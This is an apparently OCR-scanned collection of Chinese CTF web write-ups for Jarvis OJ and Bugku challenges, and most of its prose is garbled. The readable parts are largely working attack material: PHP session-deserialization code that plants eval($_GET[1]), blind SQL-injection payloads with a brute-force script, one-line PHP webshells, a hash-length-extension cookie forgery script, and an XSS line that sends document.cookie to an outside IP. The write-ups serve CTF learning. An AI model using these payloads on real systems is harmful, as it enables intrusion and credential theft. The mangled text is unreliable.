M EARZFFFIL . FFIMCARIIRFEM A, 2 aT#mbugku b A PHEZFH P IR E S Flagh, ATRLRRM—T (ERMSH 5
1% BAE M AR

A LIPS T RIZNTT Sk fin 44 B s EAE R, wT LA R 25 T —

FLMEH FIRE 77 A E showimg. php™ A2,

(B H W, -~ shield.php™ At AR SSHIARMD IR AR BN ROAE R . . BB N B AL AR AR IR A B, AT B st . . .
WA H BB N4 petf.php FEEHAflag, RAH AR LEEVIRE] pctf.php™ X, fHiHiEiRflag? )

°* PHPINFO


file://index.php
file://shield.php

2018.10.31

B SRR s AN R T A 2 T

HEE T NRAEE, RS, AMEEEARIKKIRI.
g sl 7 — N E SO, HRBRS LA R S AR .

$m = new OowoO();
$m->mdzz = "echo 1;";

( phpinfo(); ZBINME, WIREAX HIITELE, ndzz HHZ phpinfo(); , B Gt MIA T KIE)

__contruct ATERRRANEHT X G 1
__destruct SETEXT RFTA 1) 5] AR M B sl 2 S X e s i 3
KA HAE new | — /NN R G FHATAEMTERIE,  php SUHFHATSS ., FTDAMIBR YT &, A __destruct

RIS 22 7 DL 8%
ERNSEHTPHP 1 SESSTON X JF B ML

I, AR T A index.php o 23— N AUGD:
W E VR RATAT AE R shell , XEZF|eval() BEL PrRlIATml R Bmn i s BOR AT AR AN .

ini_set('session.serialize_handler', 'php'); X MRUIAIEMEIL, HEEHFH serialize , RENEINFE, 45652
HTHORE H , A5 ARIXE R H V22 E i — N R iR, P I Ja Rk R b € LR “BEVE R destruct () ” AMTHATAERAR
i,

BAA 7T ini_set('session.serialize_handler', ‘php');" MKW, & EMEHRFINSHEEEEAA, XEEMN R LA
, BN

“session.serialize_handler J&& XHRFFIL/ RFIULIREEA LT, ARIFIGEDRS, FIML/ FIMLSERA R, M SEEA
Fsession A A KA,

“session AFERIAE LLSCHR 7 ARG, TTLAHC B0 session.save_handler® REM. fFMEHISCHZLL sess_sessionid Kik47
2, SCHFRIN AR session fHINF ML EIINZ . ~sessionid™ #E" cookie™ H1R[LAE .

i/ php™ BI%EE, fAFlsessionXAFHHINZ R name|s:6: " xxxxxx""
{f/" php_serialize™ 5%}, fiAFsessionXXHFHINAR a:1:{s:4:"name" ;5:6: "Xxxxxx"}"

BRI : php e T FAFAENT™ $_SESSTON™ it 5 A (1 51 ZER e SIAL (3 F IR 51 ZBEAN—HE, T S BO8cd Jovk IE st = 7 51
CX BRI R: S fphp5| %0y, php3lBELLL ~|° fF key™ A7 value™ AT, )

Vi index.php™ SCHRRF, & REFME session™ U, ARIERIFHM T INZ, BRI ERIMNESEIER session™ X, 5
AR 78 ARy, nPOST—4N4 5 PHP_SESSION_UPLOAD _PROGRESS™ MIAFE:, Al LUK IRATHT EAL I ** S04 & * ¥ IR 5 5] sessio
n> k. AT AR R TR RS

T RATHCEEAE SO A T AOR SR IRATE N HdE . LIS % [session.upload_progress]
(http://php.net/manual/en/session.upload-progress.php)

XA~ H B AR ZEAZ BRIZ e | LB Nk BRI 3R 1.

TAVe ket BATERDBGE A7 AT AT, EHREPIRFILIGZ oowoo 2K, FF HIXAMIKM mdzz AR M H 3kAH
KPS . (FRFFUEH T system("1s") ARJLL, Pl /A T dirname(__FILE_ ); scandir() file_get contents() )


http://www.jb51.net/article/107101.htm%20%25E2%2580%259C%25E6%25B7%25B1%25E5%2585%25A5%25E8%25A7%25A3%25E6%259E%2590php%25E4%25B8%25ADSESSION%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E6%259C%25BA%25E5%2588%25B6%25E2%2580%259D

<?php class OowoO { public $mdzz; function _ construct() { $this->mdzz = 'print_r(dirname(__FILE_));"'; }
function _ destruct() { eval($this->mdzz); } } $temp = $_GET[ 'phpinfo']; $m = new OowoO(); echo serialize($m);
/5 AR A 0:5:"00wo0" :1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE_ ));";} 2>

XA, ETFER M L RBIEE, AT A T, XEEERRITROR G, A RELEIRATIE L A B A value, BT RS
o (FEAZBEL I T ZE R TS5 5 3o D

print_r(dirname(FILE));
print_r(scandir("/opt/lampp/htdocs"));
print_r(file_get_contents(“Here_1s_7he_f1l4g_buT_You_Cannot_see.php”));

VX B 5K R ] (https://img-blog. csdn.net/20180131212755476?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uZXQvbG1odG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

RALZJEHVIE” index. php”™ FAIMIER 7R 8 it P oA, SRR HATHRARHS .
PIXHEHAT LR flag T ..
KNAEE T — N sess_sessionid” REIMNE, BRI T IRAVEIEERFRF R~ XA FE BRI E IR — i~ X8 H A58 H] webshell”
R FNTE S NF I S R T php_serialize™ 51% (AlLLAEERIN session™ CAFHFH) , ik H SR RF 514k i 2 4
Fl>php 5l%,
| [XBEEF#iR] (https://img-blog.csdn.net/20180131214549895 >watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uZXQvbGledG
x1bG1edGx1YmFp/font/5a6L5L2T/fontsize/400/f111/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

[ XHEEE R ](https://img-blog. csdn.net/20180131214610886>watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGledG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fil1/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

| [XBEEE R ] (https://img-blog.csdn.net/20180131214639597 >watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGledG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fil11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

| [XHEEE iR ] (https://img-blog.csdn.net/20180131214701358?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGledG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fil11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

LATSA FId sh ES ), IR IR —

<?php class OowoO { public $mdzz; function _ construct() { $this->mdzz = 'eval($_GET[1]);"'; } function
__destruct() { eval($this->mdzz); } } $m = new OowoO(); echo serialize($m); //Hitli45i%: 0:5:"0Oowo0":1:
{s:4:"mdzz";s:15:"eval($_GET[1]);";} 2>

P RAT A I XA 57 FIRE R 7R B N3 session SCHFHR, SRIGTEE I T] GEEEW AR sessionid ) , ELAILLE
FPEEAPuh1 B 5%, HESFIUEE — N SRR T .



[XEESEAH#A](https://img-blog.csdn.net/20180201115323718?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGlodG
x1bG1OdGx1YmFp/font/5a6L5L2T/fontsize/400/f111/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

[XHEESEA#R](https://img-blog.csdn.net/201802011153594402watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGlodG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

I [XEESEAH#R](https://img-blog.csdn.net/20180201115412393?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGlodG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

I [(XESEAH#R](https://img-blog.csdn.net/201802011218384022watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbG1lodG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

X B IRIEA AN F R N AE S N session” SCARIRHER K php_serialize® 3%, #%& phpinfo , %K session.serial
ize_handler  BCEH, “local value® MfEZ “php” , XZEFAHTE index.php™ F5H) ini_set('session.serialize_handler',

'php');" , T master value' MI{E/E php_serialize® . (master value " php.ini XX iIN%, ~local value® &4ETH
R E, XAMESE R master value HXTRIED

[XESE AT (https://img-blog.csdn.net/20180201121854878?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGlodG
x1bG1edGx1YmFp/font/5a6L5L2T/fontsize/400/f111/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)
X— RN AZAE MO H 2 /70 BAA A E . .. JFIRRX AWENE, FERRECAER. . EIGIEE)

RE?

A B IR R B L/ SRR SR

BRI H G B A —A This file is packed with the UPX executable packer , FiX#H UPX decomplier , #R
Ja R T AR R XA %F , PR JEREN B E weiteup , R T jeb XANHAF..

NG RBGET ./ T/ T

writeup

KER T PR, BEERIX R
X WU B A 2R

Simple Injection
IREIHEH, HRsqLiE A B T#— R BRI MOXTE R H O 52 ] 5. (BRI e TR Z I ). KDy I T3k
N, FES KL, BRXMETRHES, JFHEA X LR R PR P 4 r.emmmm.. 32 4707 S OB —TR T

N R ULIX AN E I EAROP IR T .

MIFTFFMI T, 55— SRR 7 48 admin , BREEES —AS, FORUHMENR?; REHBEL - MHP 4, 5l 52
NP AR . X Lk aT URE, 8 H EEEFE A adminX AN AR, R EAEFIBIRE, AR AR R 1% X R
HJ: select password from xxx where username='admin' , if ZHZEHE == WARIFLE .

MFEN B RZARTE admin X B, FrUIHK—TF: 7205051 admin'  admin'# , 58 f&R“S0EHR7, TIEien“HI 44
w”, WABATHUAT LA E EEAE username  IXHLE)TFH T .

BT RMA admin'or 1# , WP AR, FHRETRZTIE T2k, MARKS KRS, admin'or(1)# , RRFEBEHR. TEKCEH
KT BAEXEEN username™ fH, ~x'or(xxxxxx)# , FATATCURIEEHRPERRAINT xxxxxx™ PATHISE R0 2L, a2 ixiE s H
RN .

FBI A RS A0 51 T


http://blog.csdn.net/Ni9htMar3/article/details/73743284
https://www.40huo.cn/blog/pctf-2016-writeup-web.html

BEEES:  x’or(substring((select(database())),1,1)=1")#

PR AL
x’or(((select(count(table_name))from(information_schema.tables)where(table_schema=‘injection’)))=0)
#

MR
x’or(substring((select(table_name)from(information_schema.tables)where(table_schema=‘injection’)),1
,1)=1)#

BRA 4L
x’or(((select(count(column_name))from(information_schema.columns)where(table_schema=‘injection’)))=
1)#

B4
x’or(substring((select(group_concat(column_name))from(information_schema.columns)where((table_schem
a=‘injection’)and(table_name=‘admin’))),1,1)=1")#

B BE: x’or(substring((select(password)from(injection.admin)),1,1)=1")#

AAAMANT CXERGH THEFBREMNBA, HAaEEA R FEEMARN username” #HBEFHATLLT) -

#!python 2
import requests
import string

guess = string.digits + string.ascii_lowercase + string.punctuation
url = "http://web.jarvisoj.com:32787/login.php"

def find():
answer = ""
for i in range(1,50):
flag = @
for j in guess:
data = {"username":"x'or(substring((select(password)from(injection.admin)),%d,1)="%s")#" % (i, j),
"password":"'"}
response = requests.post(url, data = data).text
if len(response) == 1191:
answer += j

print("get: " + answer)
flag = 1
if flag == @:
print(answer)
break
if _name__ == "_main__":

find()



AP FBAEAN: 334cfb59c9d74849801d5acdcfdaadec3 , —MIXFERIA S R EI S HiZit 2 flag & — N A IEE32
1, FEMEmdSINEE g R, s 51588 % Y. eTAloCrEP , E[H/EHEIS 3] flag : CTF{simpl3_1nJ3ction_very easy!!}

Please sign in

Username
Password

flag:CTF{s1mpl3_1nJ3ction_very_easyll}

Sign in

FEAUER B 22 F N2 0 2 MR AR B8 — s B ) A B R B R B R 1, i B B R A gt XN E R g R T
¥, RM#Essad. EMPAIEHERENN T =, or, X/ MNHEA PILIE.

NG, FREUBCE O B T ARE AR R, limit SRR YE R T LI AR S Limit LNITFAREEORIL, B — BEAER AR
BHEE T, JERA RGN ZZ 1init BOdIE 7, KT, RIS SR IXRE. T LUX AN B LE R 51 44 I B 1)

#& group_concat() o

B ITERR AT, R — B AESe e .../ Mt

I NAZ LIS — T sqlmap B4 H..

Easy Gallery
BB A M. ARG R — X AN H R AR .

oy, SRIEVI XA, EEshell,

CARTIB TS %ee #iWT, AT IEBECIF RS . 2 G BRI A E 6 SO 2R BRI, AN SO JE 4%
%, Content-Type , A XMk, MATRMMERIMBZTLE jpg XA HERN PHP ARAY...
T <2php eval($_POST[1]);?> <?=@eval($_POST[1]); XPNH#FIA MII. IEHIHISEE A ARIE PHP  ALUHY

F&: <script language="php">eval($_POST[1]);</script> o BZIBAIEAR] jpg X, I HIEN CFEE &£V,
BimI 53| flag . (jpg I php ARIEETLIAT)

MAFEE TS, WIRE S K. index.php 1, T page SEULHEAGHISCMA, IR BEIENIN . php
Ja8e FTUTEBATEI LA By SCpRet, EEH %ee  #ii. SCMF BAE 5 A7 #8424 0] LUBI view.php KNI . IXLE7E
It {6 e o D) ) B A8 R AR 75 5 R B

Cks php  ARAZHRANE] 5pg ST

A copy lalala.jpg/b + mua.php/a xiaoma.jpg
lalala.jpg

mua . php

(i Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn == gw



Burp Intruder Repeater Window Help

[Target T Proxy I Spider T Scanner I Intruder IRepeater T Sequencer I Decoder T Comparer T Extender T Project options I User options T!—\Ierts ]

2 = [ 3= | ...

Go Cancel < |r > | Target: http:/lweb.jarvisoj.com:32785 ; @

Request Response
J Raw T Params I Headers I Hex ] J Raw T Headers I Hex I HTML I Render ]
00 £ gald000000000RO000 YO | JOZ =0000F *0 '0-0000 “jO0oso A HTTF/1l.1 200 OK &
[m] P Date: Sat, 03 Feb Z01E8 03:37:059 GHT P
HOaO000 =000 | 00000000000 ¢000=50000000F000 * .00 Server: Apache/2.4.18 (Unix) OpenSSL/Ll.0.Zh PHP/5.£6.21
O0-+H10 & XE0000% - 15000 1 "O0LO00000 $00 wod _perl/Z.0.8-dev Perl/w5.16.3
O0oO00% 500. 0001~ yF $§000F0000 " 0] 000 ?00%0000 7 o W0OoO0OoOoOo000od ¥-Powered-By: PHP/5.6.21
HOAOROOO0 00 ) OD i O a000 A0000 Content-Length: S0
00100000 A00000"0 : 0 ' 0000000000=000000 HOAOROOO{OGJOO!'O08 Connection: close
000000 <00 Content-Type: text/html; charssc=UTF-8
F3000FO000ROO0O0 000, 000003, \O&F1"00
|| HDAOFOOOOO=0b00Y,/ 0L $000POTO, LOOADOOOO <html lang="zh-CIH":
HDF.ED.DDD"DDDDHD:>DDDDD{DF$DDD@DDDDD <head>
DDDDDaDdDDDD_DjDDD:D“DDDDDDDDEDDDD!DEDDYXZDDDDiD <meta charset="ucf-5">
000 &O="0wW00 “j0050 O O0IDPO1517629029 </ html>
.HDVUDDDD?IDDDDPDD'DDDDD:DD‘jDD$D OFPO000/0wEOOEOO0O000
O00LO0000 00 EIEI'?EIEIEI’,C].EIDEI—EIQ‘EIEIO_EI] eXOHOS ;0 OO \
OEOqhO0 * a000 } O+ ¢/ wOO00O000O000000 AN00000 ko000
'D[DDBDDDfDDDDD]DDDD&DDDDDDDDD—tDDDDDH&DDDDD_DDDDDDDDDAD
00000 LO0*000000M003000 100000 HOO] 100, 0000
sO00<000&%00 =0

F5000RO00000 OZETO20; #O0o000

0000 *00 60 "000000000K] ~ Z000"0 HOAOOOROOO $00
O:0001#00000INITO O<script language='php' >
eval (§_POST[1]) ;|

</script:=0

—————— WebEitFormBoundaryefP VI nohEiz
Content-Disposition: form-data; n &' Submit"”
[ [

=
v v

? < + = | | Type a search ferm 0 matches ? < + = | | Type a search term 0 matches

Done 339 bytes | 74 millis
/ @a Challenges - Jarvis 0OJ X \(/ [ Navbar Template for B x y [ Navbar Template forE x \ : - -

<« C' | ® web.jarvisoj.com:32785/index.php?page=uploads/1517629029.jpg%00

ISCC Home  Submit  View

CTF{uplOad_shOuld_n07_b3_a110wed}

N2 BREAE E): XN H IR THEAR, PUARAEAER, SR E CIte it k. N8 H 2 3 18 A Rk
B 7. BB P A SEIE A BRI TR RIS . AT REIS RN BRI AR, AN EE, PR prp AR
RN E] JP6 SCAF, AHZ R LUR s s A3 2 T i A o I FAR AR ARIAH P R LIE R KT ..

IR A BRI AN

flagtE EHATFH
TUmARM ., H—TFHZ, KRIAAE index.php~ , FEFK, BECCH4 N index.php.swp , JHITFE4 vim -r
index.php.swp PKEFF index.php HIJEAL:


https://zhuanlan.zhihu.com/p/25839549

<IDOCTYPE html>

<html>

<head>

<title>Web 350</title>
<style type="text/css">

body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>0Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>

FRARYRAD, Wl LLAE, FATEMAI A ME cookie , fFHIG AL $role==="admin" && $hsh ===
md5($salt.strrev($_COOKIE["role"])) o



“$salt’ FAVRARIER . REHH S —MEAKELE, W EERGCEZ R, REESE T [HMDSLMhashKEY EYd By Assassin]
(http://blog.csdn.net/qq_35078631/article/details/70941204)

HARFEHEEHMAFELT .. XS EE NI, AT ERINSRERRE, 8RB YEER: ~hash_extender’

“hashpump™ , AT E#.

WFIXIERE, N ERAI SRS K RS R AR, BB RONCLMIET $salt + ;"tseug":5:s° XM AImdS{E, IIAIHAT LL%A
J& $salt + ;"tseug":5:s + #Mi + [ERFFFE FIMDSH, HHBAIFHEMGEFRFE, F $salt + ;"tseug":5:s + M7 + [ERFHF
OGN TR RERRFAME AN admin® o SRR

I [XESEAH#R](https://img-blog.csdn.net/201802080948254182watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbG1lodG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70)

[XESE AT (https://img-blog.csdn.net/20180208094843608?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGlodG
x1bG10dGx1YmFp/font/5a6L5L2T/fontsize/400/fi11/10IBQkFCMA==/dissolve/70)

RIEB AP $salt” MRERAZAMIER, PreANZS— A4, A hashpump™, REHEAADFEN $salt™ KEEHE, MR

(2018/10/06)
FHOU T — PN LRI B SRS B B E ). B DA 1R S A AL
LR IAE X md S Y FE MLt (AR, B — A

HEHNE  salt+FfFHA  MmdSINEE, Mol UAiEsalt+F/AF BA+AMIHERFZFEB Mimd5(E
R AR LE R . . emmmm. . HIFESNIE, AMIEBELUEESASEEHT .

FHEHEE ASE

import urllib

import hashpumpy

import requests

url = "http://web.jarvisoj.com:32778/"

for i in range(1,28):

result = hashpumpy.hashpump('3a4727d574631122833d9e732f9%4e4e0", ';"tseug":5:s"',"';"nimda":5:s"',1)

data = {"Host": "web.jarvisoj.com:32778","Cache-Control"”: "max-age=0","Upgrade-Insecure-Requests": "1","User
-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Sa
fari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","A
ccept-Language":"zh-CN, zh;q=0.9", "Cookie":"UM_distinctid=1656bc8a44b150-0acd2220410fbd-323b5b03-144000-1656bc8as
4c1ff; role=%s; hsh=%s"%(urllib.quote(result[1][::-1]),result[@]), " "Connection":"close"}

re = requests.get(url, headers = data)

if(re.text.find("Only Admin can see the flag!!") == -1):

print(re.text)

mytest@ubuntu:~/Desktop$ python salt.py
<!DOCTYPE html=
<html=>
<head>
<title=Web 350</title=>
<style type="textfcss"=
body {
background:gray;
text-align:center;
1
<fstyle=
SLEERE

<body=>

<h3>Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_1i5_easy_to_us3} </h3>
</body=>
<f/html=>




babyxss

A] BEFRA I AL 28 N DA HERE 1. 487 payload WA KM, BAAE T .

TE4K writeup FIBIE, Uil LRI <links Fihn#EcokREed csp , JF HX Rk HBETE chrome T, Firefox &AL
R RAEMUE H BIgfg 17— RIS (Bl—24 Firefox , B4 chrome ) :

»  wvar not = document.createElement("1ink");

€ undefined

» not.setAttribute("rel”,"prefetch");

€ undefined

» not.setAttribute("href”,"http://120.79.203.32/X55/xss.php?a="+document.cookie);

€ undefined

» document.head.appendChild(not);

€ <link rel="prefetch” href="http://120.79.203.32/X55/xss.php?a=PHPSESSID=4t1cebbvbgBqdadrgddScmbni3™>

X Content Security Policy: MEIBBMIFIEMITT http://120.79.203.32/X55/xss . php?a=PHPSESSID-4t1cebbvbg@qdadrgddSembnil F1—FI& ¥ ( "default-src http://web.jarvisoj.com:32800") -

>

» wvar nOt = document.createElement("link");

undefined

> nOt.setAttribute(”rel”,"prefetch”);
undefined

» nOt.setAttribute("href","http://xss.fbisb.com/zQIs");
undefined

> document.head.appendChild(n0Ot);
<link rel="prefetch” href="http://xss.fbisb.com/zQIs">

B R bR

http://www.vuln.cn/6152

B TARKHE A X AN H L DR B EARZ T, oIS R B AR A 2 A EM. R T — R K T CVE-2016-371411)
E, EWIENA SRR

NIFFaa SR H , S22l 7 ol SR A STkl . RILR vr bAL . png X, phpsCH4axt ANmT LA, FFH
N 1% 6 AL (SR St AT TG . 23R8 Flcopy \b 1.png+1.php a.png, ¥phpXfE& s Elpngctbd, wl LAY
A, R SBATVIIN EAREZ SR, B S R 1 php AR R A BT . Sl BT RATAE T ..

FEXANERE A, MR BAT RIS B E A& Jpath filetypelX SZ A fEH]

XIER H SEFr LRI T ImageMagi ckBEER (13RI, AT EALpngSCit, IFFIATZARBUR AL TN . show U, AEIXANIERE
i, KB exif labelfd B HEHHER 479, Frol HRERAT EAL G Eexif labelfd B png 3, RIAIft%
A ATENII . (FEER LA png AL HEA . show S I, FrblfiletypeZ it fE H st £ AR R 1)


http://www.vuln.cn/6152

e Chopper
emmm... - — @2
Z3HH,
i Z JE RN YR E

AL R T —

s ANKNTE B AR TR 1 1] 8
FnﬁéﬁﬁﬂﬁﬂyEﬁwT%@ﬁmLLX“@ﬁ%ﬁﬁ%Mﬁm i B RBES
SERRLR, IR kB

VR T EATE

R H R, ASREE RN H S
AN H RAZ RS G

SR ipihl.

-
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Burp Intruder Repeater Window Help

[Target T Proxy I Spider T Scanner I Intruder TRepeatef T Sequencer I Decoder T Comparer T Extender T Project options I User options TAIerts ]

5 x | B = | ...

Go Cancel < |v > r

Request

jRaw T Params I Headers I Hex ]

Target: http:/lweb.jarvisoj.com:32782 ? ?

Response

jRaw T Headers T Hex I HTML I Render ]

GET /admin HTTP/1l.1

Host: web.jarvisoj.com:32782
Upgrade-Insecure-FRegquests: L
User—-Agent:
AppleWebEit/537.36 (KHTML,
Chromwe/£5.0.3325. 14 Safari/537.3€
Accept:

age/webp, image/apng, */ *;q=0.8
Accept-Language: zh-CHN, zh;qgq=0.9
Cookie:

4000-18lffaals80Z 1dE
Connection: close

Mozilla/5.0 (Windows NT &.1;
like Gecko)

text/html, application/xhtml+xml, application/®ml; q=0.9, im

UM _distinctid=lelffaa0800Ebf-004142403 lcl185-3£3c5506-14

Wing4; =g4)

HTTF/ 1.1 403 Forbiddsn A
Date: Thu, 08 Mar ZO0LlS 0Z:Z7:31 GUT -
Server: Apache/2.4.18 (Unix) OpenSSL/L1.0.Zh PHP/5.£.21
wod perl/2.0.8-dev Perl/w5.lE.3

Last-Modified: Wed, Z0 Jul Z01l& 14:51:59 GMT

ETag: "138-5381257=8=1c0"

Accept-FRanges: bytes

Content-Length: 312

Connection: close

Content-Type: text/html

e

<!DOCTYPE HIML PUBLIC "-//IETF//DTD HIML Z.0//EN">
<html><head>

<title>403 Forbidden</title>

</ head><body>

<hl>Forbhidden</hl>

<p>¥You don't have permission to access fadmin/

on this server.</p»

<scriptralert('you are not admin!')</scripts>
<l--<gcriptzalert{'admin ip is
103.27.76.153" )< /script>——2>

</bodyr</html> \

= =
v v

0 matches ? < + = Type a search term 0 matches

623 bytes | 805 millis

H— RN A,
IR ... A5 DR A b A
AWE S
FAt 4 admin PR %5 4% B proxy. php

s JEIL H 4 R IR AL
.hhhhh,

admin ¥ proxy.php
B NALT A url .

NI X-FORWARDED-FOR  FB%, SREyi&adminffiip, 252 5 RMAT. B2 )5BS FE & S

HHfHadminff proxy.php A EHRAIEEEE K HE. 2T
http://web.jarvisoj.com:32782/proxy.php?

url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/

FR7 1] PR AR I A LTI B0 A S M. 23333,



In A Mess
FIIFEH, (IS ERE index.phps , BV M AFHEEG, WTF.

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{

header('Location: index.php?id=1");
exit();

}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'."))
{

echo 'Hahahahahaha';

return ;

}
$data = @file_get_contents($a, 'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and subst
r($b,e,1)!=4)

{

require("flag.txt");

}
else

{

print "work harder!harder!harder!";

}

?>

KA fEbugku BB — A —FERGEH LB T ARG AU AR A

1B FAER R LR, RESBRUS TR EECAT CGMOITEMintval B0 , FIHMTHE, RIS 75/ B TR, W
B8 (45if$id==efIif(1$_GET['id']))

2.eregifFfE%00# T, TMsubstridf, Wt lieregi R —NFIFR%00, T kB A FEAm.

3.M%$akyphp://inputh, file_get_contents>Frr i (JHT%iid$data="1112 is a nice lab!™)



A58 payload UWIF:

[ 3 == |
_} web.jarvisoj.com:32780/index. x\+
(- (@ web jarvisoj.com:32780/index.php?id ¢ || Qe w8 $§$ & O & O | v =
(8 2= @ aF-239%Fa ) BAH=] %FrH.. @ TR @ 120.24.86.145:8002/... @ Hacking Network Pr... [ =aras
INT Y| = & SQL- XSS Encryption- Encoding- Other-
@l Load URL  http://web.jarvisoj.com:32780/index.php?id=dsafdfa&a=php://input&b=2%004dafsaddf -
% split URL +

J Execute

Enable Post data [ | Enable Referrer
Post data 1112 is a nice lab! =

Come ON!! {/AHT2mCpcvOLf}

N\

v BEE==) D ffla OBEsE {(JEdeEs Cust R =RE 8 2 @ EditThisCookie (" @ & 0 € X

+ ER HTML & Bl
<!--index.phps--»
<html —
e TE
< »<f > }
<body>Come ON!!! {/*HT2mCpcvOL¥}</body>
</html>

html IEH J

FICLABIXBERMERT . . BARRXANER®AE Flag™ o RLZFERIIN, BV TxAHhE GEREREA R, BRnE.

I [XEESEAH#A](https://img-blog.csdn.net/20180308165055186 ?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbG1lodG
x1bG10dGx1YmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70)

EEurltFid2H, B RVEARAESqLEN, MR JE RIS RIZH.

JH, JEELIET union , select ,ZH%, AT NEES ununionion selselectect REE, FMKE /*1%/ R, X
NI 46 & S5 R Gl 0, FROE R B R 0)..emmm. AR WL AEMUF IS AR R 220K Tl It 7+ SRS, TBR.EXA
M T IR T L WS AR /%) X MG R ReE . B FEEE A S AR AT AR B R B B R A
Fid, S REEAEK..

ML

id=-1/*1*/uniunionon/*1*/selselectect/*1*/1,1,group_concat(column_name)frfromom/*1*/information_schema.columns/*
1*/where/*1*/table_name=0x636f6e74656e74 (133454 )
id=-1/*1*/uniunionon/*1*/selselectect/*1*/1,1, context/*1*/frfromom/*1*/content (5%|flag)



register

emmmm.. ¥ T E s —EEH 7LAHF TRAT, HOEAHR, SRETHE T weiteup HITRHI..

BIRELERT country  J& “RIFEN ALAEZTFENLE country ) sql iG], $ATRYSE S STEME BB R H R — B EGE A
T country SRAENE WA R EM, FrUlt AR A 22 E A country  RIFENI...

WA T country A1, BEN ', BAERHCRAZ DCL \' emmm. N AZ N BIEEE FE R N B L IR NE, Ha2
Eﬁﬁﬂjﬂ%%ﬁﬂb’%ﬁT*‘%ﬂ‘fﬁmiiﬁ)ﬁﬁ{ﬁﬁgEﬁ1ﬁiﬁ@2@§ﬁ%§o L H Xt username Al country B’Jﬁl‘ﬁﬁiﬁﬂﬁ

IR T date R4S country SREIR, WAUR S country EALIRFAHIA )15 A Eid
Xf date  HOHIWT, SRHBEATEIE.

emmm... X AP Rwriteup. KA H O 7RI EAL . REITTFIEHERA T AR .86 K =ik a7
TARE A LB AR TRAEHE, E BRI M, SR, AT R AR K.

(http://mitah.cn/index.php/archives/8/)
(http://blog.csdn.net/qq_31481187/article/details/73699167)


http://mitah.cn/index.php/archives/8/
http://blog.csdn.net/qq_31481187/article/details/73699167
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